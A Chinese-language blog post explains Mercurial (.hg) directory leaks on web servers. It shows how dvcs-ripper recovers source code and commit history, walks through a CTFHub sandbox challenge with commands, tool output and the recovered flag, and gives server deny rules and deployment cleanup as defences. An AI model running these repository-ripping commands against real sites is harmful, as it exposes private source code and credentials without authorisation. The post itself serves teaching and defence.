dvcs-ripper 与 Mercurial (.hg) 信息泄露漏洞详解

Jun 2, 2026 分钟阅读

前言

Mercurial(简称 hg,化学元素汞的符号)是一种分布式版本控制系统,与 Git 类似,广泛应用于代码管理。和 .git、.svn 一样,当开发人员将包含 .hg 目录的项目直接部署到 Web 服务器根目录,且未做访问限制时,攻击者就可能通过下载 .hg 目录中的元数据,恢复源代码、历史版本,甚至获取敏感信息。

本文将介绍 .hg 信息泄露漏洞的原理、使用 dvcs-ripper 自动化挖掘漏洞的过程,以及对应的 防护措施。


一、漏洞原理

1.1 .hg 目录结构

Mercurial 在每个仓库的根目录下维护一个 .hg 目录,用于存储版本控制所需的全部元数据。其核心结构如下:

 1.hg/
 2  00changelog.i       # 变更日志索引,记录所有提交历史
 3  dirstate            # 工作目录状态(哪些文件被跟踪、修改、删除)
 4  requires            # 仓库格式版本要求
 5  branch              # 当前分支名
 6  last-message.txt    # 上次提交信息
 7  undo.branch         # 撤销操作相关
 8  undo.desc
 9  undo.dirstate
10  store/              # 核心数据存储区
11    00changelog.i     # 提交历史的 revlog(索引)
12    00changelog.d     # 提交历史的 revlog(数据,大文件时存在)
13    00manifest.i      # 清单文件的 revlog(记录每个版本中包含的文件列表)
14    00manifest.d      # 清单文件的数据部分
15    fncache           # 文件名缓存,记录所有被跟踪文件对应的 revlog 路径
16    undo              # 撤销数据
17    data/             # 各文件的历史版本 revlog
18      index.html.i    # index.html 的 revlog 索引
19      index.html.d    # index.html 的 revlog 数据(大文件时存在)
20      flag_xxxx.txt.i # 其他文件的 revlog 索引
21      flag_xxxx.txt.d # 其他文件的 revlog 数据

1.2 Revlog 存储机制

Mercurial 使用 revlog(revision log)格式来存储所有版本数据。每个被跟踪的文件都有一个对应的 revlog,由一对文件组成:

  • .i 文件(索引):包含版本元数据(节点 ID、父节点、偏移量、长度、内容压缩方式等)。对于小文件,内容会直接内联在 .i 文件中。
  • .d 文件(数据):当文件内容较大时,实际数据存储在这里。

关键风险点:

  1. 完整历史暴露:.hg/store/data/ 下保存了每个文件所有历史版本的 revlog。攻击者一旦下载这些文件,就能恢复任意历史版本的内容。
  2. 变更日志泄露:00changelog.i 中记录了每次提交的描述、作者、时间戳和修改的文件列表。即使某些 revlog 文件被删除或无法访问,攻击者仍能通过变更日志得知哪些文件曾经被提交过。
  3. dirstate 暴露当前状态:dirstate 文件记录了工作目录中文件的状态(正常、已修改、已添加、已删除等),帮助攻击者了解服务器上当前部署了哪些文件。

1.3 为什么会泄露

  1. 直接克隆/检出到 Web 目录:开发者使用 hg clone 或 hg update 后直接将其作为网站根目录,未清理 .hg。
  2. Web 服务器未限制隐藏目录访问:Nginx/Apache 未配置禁止访问 .hg 等隐藏目录。
  3. 误操作上传:在部署时误将 .hg 目录打包上传至生产环境。

二、漏洞利用:使用 dvcs-ripper 挖掘 .hg 泄露

2.1 工具简介

dvcs-ripper 是一款专门从 Web 可访问的分布式版本控制系统中抓取仓库的工具,支持 Git、Mercurial (hg)、SVN、Bazaar (bzr)、CVS 等。它能自动化下载版本控制元数据,并尝试恢复源代码。

2.2 安装依赖

dvcs-ripper 本身是用 Perl 编写的,依赖基本的 Perl 模块。更重要的是,rip-hg.pl 需要本地安装 hg(Mercurial)客户端,因为它依赖 hg status -A 获取文件列表,并用 hg revert 恢复文件。

1# Debian / Ubuntu
2sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libio-all-lwp-perl mercurial

如果无 root 权限,可以手动下载 deb 包并解压使用(参考下方实战中的处理方式)。

2.3 基础用法

1# 基础抓取
2./rip-hg.pl -v -u http://target/.hg/
3
4# 忽略 SSL 证书验证
5./rip-hg.pl -s -v -u https://target/.hg/
6
7# 使用代理
8./rip-hg.pl -v -p socks://localhost:1080 -u http://target/.hg/

参数说明:

  • -u <URL>:目标 .hg 目录的 URL(必需)
  • -v:显示详细信息(-vv 更详细)
  • -s:忽略 SSL/TLS 证书验证
  • -p <proxy>:使用 HTTP/SOCKS 代理
  • -c:抓取结束后自动执行 hg revert(默认开启)

2.4 工作原理

rip-hg.pl 的执行流程:

  1. 探测 404 响应特征:发送随机文件请求,检测服务器是否将 404 错误伪装成 200 响应(CTF 平台常见)。
  2. 下载基础元数据:下载 .hg/ 下的已知文件,包括 00changelog.i、dirstate、requires、store/00changelog.i、store/00manifest.i、store/fncache 等。
  3. 获取文件列表:运行 hg status -A 命令,结合 .hg/dirstate 和当前工作目录状态,生成需要下载的文件列表。
  4. 批量下载 revlog:对每个文件,构造 store/data/<filename>.i 和 store/data/<filename>.d 的路径并下载。
  5. 自动恢复:对每个成功下载的 revlog,调用 hg revert <file> 恢复文件内容。

2.5 实战演示

以下以 CTFHub 的 Mercurial 信息泄露题目为例。

第一步:运行 rip-hg.pl

1./rip-hg.pl -v -u http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/.hg

如果系统未安装 hg,会报错:

1cannot find hg: No such file or directory at ./rip-hg.pl line 140.

此时需要安装 Mercurial。在无 root 权限环境下,可以手动下载 deb 包:

 1# 下载 mercurial 和 mercurial-common(核心 Python 代码在此包中)
 2apt-get download mercurial mercurial-common
 3
 4# 解压到用户目录
 5mkdir -p ~/hg-tools
 6dpkg -x mercurial_*.deb ~/hg-tools
 7dpkg -x mercurial-common_*.deb ~/hg-tools
 8
 9# 修复启动脚本中的 libdir 占位符(dpkg -x 不会执行 postinst)
10sed -i "s|libdir = '@LIBDIR@'|libdir = '/home/san/hg-tools/usr/lib/python3/dist-packages'|" ~/hg-tools/usr/bin/hg
11
12# 验证安装
13~/hg-tools/usr/bin/hg --version

第二步:重新运行工具

将 hg 加入 PATH 后再次执行:

1PATH=~/hg-tools/usr/bin:$PATH ./rip-hg.pl -v -u http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/.hg

输出示例:

 1[i] Downloading hg files from http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/.hg
 2[i] Auto-detecting 404 as 200 with 3 requests
 3[i] Getting correct 404 responses
 4[d] found 00changelog.i
 5[d] found dirstate
 6[d] found requires
 7[d] found last-message.txt
 8[d] found undo.branch
 9[d] found undo.desc
10[d] found undo.dirstate
11[d] found store/00changelog.i
12[d] found store/00manifest.i
13[d] found store/fncache
14[d] found store/undo
15[i] Running hg status to check for missing items
16[i] Got items with hg status: 26
17[!] Not found for store/data/flag_237513528.txt.d: 404 Not Found
18[!] Not found for store/data/flag_237513528.txt.i: 404 Not Found
19[d] found store/data/index.html.i
20[d] found store/data/50x.html.i
21[i] Finished (2 of 27)

第三步:分析结果

工具恢复了 index.html 和 50x.html,但 flag_237513528.txt 的 revlog 文件(.i 和 .d)返回 404,说明服务器上没有暴露该文件的 revlog。

查看恢复的 index.html:

1<html>
2  <head><meta charset="UTF-8" /><title>CTFHub 信息泄露 hg</title></head>
3  <body>
4    <h1>信息泄露 - Mercurial</h1>
5    <p>Flag 在服务端旧版本的源代码中, 不太好使的情况下, 试着手工解决。</p>
6  </body>
7</html>

第四步:查看变更日志

即使 revlog 文件缺失,.hg/00changelog.i 中仍保留了提交历史:

1hg log -v

输出:

 1changeset:   1:3327e721cc44
 2tag:         tip
 3user:        CTFHubSandBox <sandbox@ctfhub.com>
 4date:        Tue Jun 02 13:50:46 2026 +0000
 5files:       flag_237513528.txt
 6描述:
 7add flag
 8
 9changeset:   0:d1f4f2853a89
10user:        CTFHubSandBox <sandbox@ctfhub.com>
11date:        Tue Jun 02 13:50:44 2026 +0000
12files:       50x.html index.html
13描述:
14init

从日志中可以确认 flag_237513528.txt 在 changeset 1 中被添加。

第五步:手工解决

根据题目提示"试着手工解决",尝试直接访问文件本身:

1curl http://challenge-cdc37907fb85c370.sandbox.ctfhub.com:10800/flag_237513528.txt

成功获取 flag:

1ctfhub{f8a04365d5e798a333f1d9ee}

为何能直接访问? 在真实的 .hg 泄露场景中,即使 revlog 文件因某些原因未暴露(如被管理员删除、服务器配置差异),工作目录中的实际文件仍可能存在于服务器文件系统中。此时直接构造 URL 访问文件即可获取内容。


三、防护措施

3.1 Web 服务器层面

Nginx:

 1# 禁止访问所有以点开头的隐藏目录和文件
 2location ~ /\. {
 3    deny all;
 4    return 404;
 5}
 6
 7# 或仅禁止特定版本控制目录
 8location ~ /\.(hg|git|svn|bzr|cvs) {
 9    deny all;
10    return 404;
11}

Apache:

1# httpd.conf 或 .htaccess
2<DirectoryMatch "^\.">
3    Require all denied
4</DirectoryMatch>
5
6# 或仅禁止特定目录
7<DirectoryMatch "\.(hg|git|svn|bzr|cvs)">
8    Require all denied
9</DirectoryMatch>

3.2 部署流程层面

  1. 导出而非克隆:使用 hg archive 或 hg export 导出纯代码文件,不包含 .hg 目录。

    1hg archive -t files /var/www/html
    
  2. 部署前清理:在 CI/CD 流程中显式删除版本控制目录。

    1rm -rf .hg .git .svn .bzr CVS
    
  3. 使用 rsync 排除:

    1rsync -av --exclude='.hg' --exclude='.git' ./ deploy@server:/var/www/
    

3.3 安全扫描与监控

  1. 目录扫描:定期使用目录扫描工具(如 Dirsearch、Gobuster)检测是否暴露了 .hg 等敏感目录。
  2. WAF 规则:在 Web 应用防火墙中配置规则,拦截对 /.hg/、/.git/、/.svn/ 等路径的访问请求。
  3. 代码审查:在合并代码前审查部署脚本,确保不会意外上传 .hg 目录。

3.4 漏洞修复建议

若已发现泄露:

  1. 立即移除 .hg 目录,不要仅依赖服务器配置做访问控制。
  2. 更换所有泄露的敏感信息(数据库密码、API Key、Token 等)。
  3. 审计变更日志:使用 hg log -v 检查 .hg/00changelog.i 中记录的提交历史,确认是否有更多敏感文件曾被提交。
  4. 检查历史版本:由于 revlog 中可能包含文件的所有历史版本,即使当前版本已删除敏感内容,旧版本中仍可能存在。建议审查仓库完整历史。

四、总结

Mercurial (.hg) 信息泄露与 Git (.git)、SVN (.svn) 泄露属于同一类配置型安全漏洞,核心原因是将版本控制的工作副本直接部署到生产环境。dvcs-ripper 能够高效自动化地抓取 .hg 目录中的 revlog 数据,恢复源代码和历史版本。

防御的核心原则不变:生产环境只应包含运行所需的代码文件,绝不包含任何版本控制元数据。通过规范的部署流程、Web 服务器访问控制以及定期安全扫描,可以有效杜绝此类漏洞。